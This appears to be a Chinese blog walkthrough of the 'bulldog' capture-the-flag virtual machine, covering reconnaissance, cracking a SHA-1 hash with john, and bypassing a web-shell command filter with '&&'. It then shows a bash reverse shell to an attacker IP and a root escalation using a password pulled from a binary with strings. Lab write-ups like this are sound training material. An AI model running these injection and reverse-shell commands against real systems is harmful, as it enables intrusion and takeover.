bulldog 靶机

bulldog

信息搜集

存活检测

bulldog 靶机_第1张图片

详细扫描

bulldog 靶机_第2张图片

后台网页扫描

bulldog 靶机_第3张图片

网页信息搜集

bulldog 靶机_第4张图片

bulldog 靶机_第5张图片

正在开发的如果你正在读这篇文章,你很可能是Bulldog Industries的承包商。恭喜你!我是你们的新老板,组长艾伦·布鲁克。CEO解雇了整个开发团队和员工。因此,我们需要迅速招到一批人。我要试着给你上一堂牛头犬工业网站的速成课。之前的网站是怎么被攻击的?APT利用了网络服务器上的一个漏洞获得了一个低权限shell。从那里,他们利用脏牛在盒子上生根。在那之后,整个系统被接管,他们破坏了网站。我们仍在从旧系统向新系统过渡。同时,我们正在使用一些文件,这些文件可能是从原始系统中损坏的。我们还没来得及确认有没有被黑的痕迹所以如果你发现了,给我发邮件。我们如何防止未来的违规行为?应Churchy先生的要求,我们将从新服务器上完全移除PHP。此外,我们不会使用PHPMyAdmin或任何其他流行的CMS系统。我们的任务是创造我们自己的。新系统的设计?新网站将完全用Django编写(Mr. Churchy要求“高端技术时髦的东西”)。到目前为止,系统上已经启用了SSH。当我们将转换到使用Web-Shell(一个专有的shell接口)时,这个功能将很快关闭。下面的链接解释了这个工具。另外,请注意,我们将开始使用MongoDB,但是我们还没有完全安装它。还要注意的是,我们将实施一个革命性的AV系统,这是由供应商为我们定制的。它宣称能够每分钟运行一次,以检测入侵和黑客行为。一旦它启动并运行,我们将把它安装到系统上。Web-Shell我该找谁开始呢?组长:[email protected]备用组长:[email protected]前端:[email protected]前端:[email protected]后端:[email protected]后端:[email protected]数据库:[email protected]

在此界面的源码中发现了疑似加密的信息,依次解密查看

bulldog 靶机_第6张图片

Team Lead: [email protected]<br>
	Back-up Team Lead: [email protected]<br><br>
	Front End: [email protected]<br>
	Front End: [email protected]<br><br>
	Back End: [email protected]<br>
	Back End: [email protected]<br><br>
	Database: [email protected]<br>.0

管理员登陆

  • 解析密码加密方式

    hash-identifier
    

    bulldog 靶机_第7张图片

  • sha-1 解密

    将密文存储到文件中

    bulldog 靶机_第8张图片

    john 解密

    john --format=raw-sha1 pas
    

    破解出密文 bulldog

    bulldog 靶机_第9张图片

  • 尝试当作密码登录管理员界面

    bulldog 靶机_第10张图片

    bulldog 靶机_第11张图片

    显示登陆成功,但没权限

  • 但此时 /dev/shell 界面可执行指令

    bulldog 靶机_第12张图片

反弹 shell

  • 执行允许的命令外的命令会被过滤

    bulldog 靶机_第13张图片

  • 尝试绕过

    /usr/bin/ping 127.0.0.1 -c 2
    

    失败

    bulldog 靶机_第14张图片

    pwd&&ping 127.0.0.1 -c 2
    

    bulldog 靶机_第15张图片

    可以使用 && 对过滤进行绕过

  • kali 开启监听

  • 命令框输入链接反弹 shell 命令

    pwd&&bash -c "bash -i >& /dev/tcp/10.4.7.132/7777 0>&1"
    

    bulldog 靶机_第16张图片

  • 成功连接

    bulldog 靶机_第17张图片

提权

  • 查找敏感文件

    image-20231019214633607

    bulldog 靶机_第18张图片

  • 查看二进制文件中可打印的字符

    strings customPermissionApp
    

    bulldog 靶机_第19张图片

    密码

    SUPERultimatePASSWORDyouCANTget
    
  • 切换用户,提示必须在终端执行

    image-20231019215418343

  • 创建一个新的终端

    python -c 'import pty;pty.spawn("/bin/sh")'
    
  • 切换 root

    sudo su root
    

    输入密码,提权成功

    bulldog 靶机_第20张图片

你可能感兴趣的:(渗透测试,linux,笔记,服务器,网络安全,网络)